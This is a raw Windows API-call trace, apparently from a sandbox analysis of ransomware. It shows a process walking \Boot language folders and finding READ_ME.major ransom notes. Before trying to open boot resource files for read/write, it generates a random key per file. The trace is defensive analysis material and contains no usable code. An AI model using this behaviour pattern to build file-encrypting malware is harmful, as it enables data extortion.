lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0142.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0142.732] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.732] SetFileAttributesW (lpFileName="\\Boot\\da-DK\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.733] CreateFileW (lpFileName="\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc60 [0142.733] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.733] SetFileAttributesW (lpFileName="\\Boot\\da-DK\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.733] CreateFileW (lpFileName="\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc60 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0142.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0142.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0142.734] FindFirstFileW (in: lpFileName="\\Boot\\de-DE\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5770 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.734] GetLastError () returned 0x5 [0142.734] SetLastError (dwErrCode=0x5) [0142.734] GetLastError () returned 0x5 [0142.734] SetLastError (dwErrCode=0x5) [0142.734] GetLastError () returned 0x5 [0142.734] SetLastError (dwErrCode=0x5) [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5930 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5930 | out: hHeap=0x570000) returned 1 [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0142.734] FindNextFileW (in: hFindFile=0x5b5770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0142.734] GetLastError () returned 0x5 [0142.734] SetLastError (dwErrCode=0x5) [0142.734] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.735] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b57b0 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57b0 | out: hHeap=0x570000) returned 1 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0142.735] FindNextFileW (in: hFindFile=0x5b5770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.735] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.735] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.735] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0142.735] FindNextFileW (in: hFindFile=0x5b5770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0142.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.735] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.735] GetLastError () returned 0x5 [0142.735] SetLastError (dwErrCode=0x5) [0142.736] GetLastError () returned 0x5 [0142.736] SetLastError (dwErrCode=0x5) [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0142.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.736] FindNextFileW (in: hFindFile=0x5b5770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0142.736] GetLastError () returned 0x5 [0142.736] SetLastError (dwErrCode=0x5) [0142.736] GetLastError () returned 0x5 [0142.736] SetLastError (dwErrCode=0x5) [0142.736] GetLastError () returned 0x5 [0142.736] SetLastError (dwErrCode=0x5) [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0142.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0142.736] FindNextFileW (in: hFindFile=0x5b5770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0142.736] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.736] SetFileAttributesW (lpFileName="\\Boot\\de-DE\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.737] CreateFileW (lpFileName="\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0142.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0142.737] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.737] SetFileAttributesW (lpFileName="\\Boot\\de-DE\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.737] CreateFileW (lpFileName="\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0142.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0142.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0142.737] FindFirstFileW (in: lpFileName="\\Boot\\el-GR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b57b0 [0142.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0142.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0142.738] GetLastError () returned 0x5 [0142.738] SetLastError (dwErrCode=0x5) [0142.738] GetLastError () returned 0x5 [0142.738] SetLastError (dwErrCode=0x5) [0142.738] GetLastError () returned 0x5 [0142.738] SetLastError (dwErrCode=0x5) [0142.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0142.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0142.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0142.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0142.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0142.739] FindNextFileW (in: hFindFile=0x5b57b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.739] GetLastError () returned 0x5 [0142.739] SetLastError (dwErrCode=0x5) [0142.739] GetLastError () returned 0x5 [0142.739] SetLastError (dwErrCode=0x5) [0142.739] GetLastError () returned 0x5 [0142.739] SetLastError (dwErrCode=0x5) [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0142.739] FindNextFileW (in: hFindFile=0x5b57b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0142.739] GetLastError () returned 0x5 [0142.739] SetLastError (dwErrCode=0x5) [0142.739] GetLastError () returned 0x5 [0142.739] SetLastError (dwErrCode=0x5) [0142.739] GetLastError () returned 0x5 [0142.739] SetLastError (dwErrCode=0x5) [0142.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0142.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.740] FindNextFileW (in: hFindFile=0x5b57b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.740] GetLastError () returned 0x5 [0142.740] SetLastError (dwErrCode=0x5) [0142.740] GetLastError () returned 0x5 [0142.740] SetLastError (dwErrCode=0x5) [0142.740] GetLastError () returned 0x5 [0142.740] SetLastError (dwErrCode=0x5) [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc60 [0142.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc60 | out: hHeap=0x570000) returned 1 [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.740] FindNextFileW (in: hFindFile=0x5b57b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.740] GetLastError () returned 0x5 [0142.740] SetLastError (dwErrCode=0x5) [0142.740] GetLastError () returned 0x5 [0142.740] SetLastError (dwErrCode=0x5) [0142.740] GetLastError () returned 0x5 [0142.740] SetLastError (dwErrCode=0x5) [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc88 [0142.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc88 | out: hHeap=0x570000) returned 1 [0142.740] FindNextFileW (in: hFindFile=0x5b57b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0142.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0142.740] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.740] SetFileAttributesW (lpFileName="\\Boot\\el-GR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0142.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0142.741] CreateFileW (lpFileName="\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0142.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0142.741] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.741] SetFileAttributesW (lpFileName="\\Boot\\el-GR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 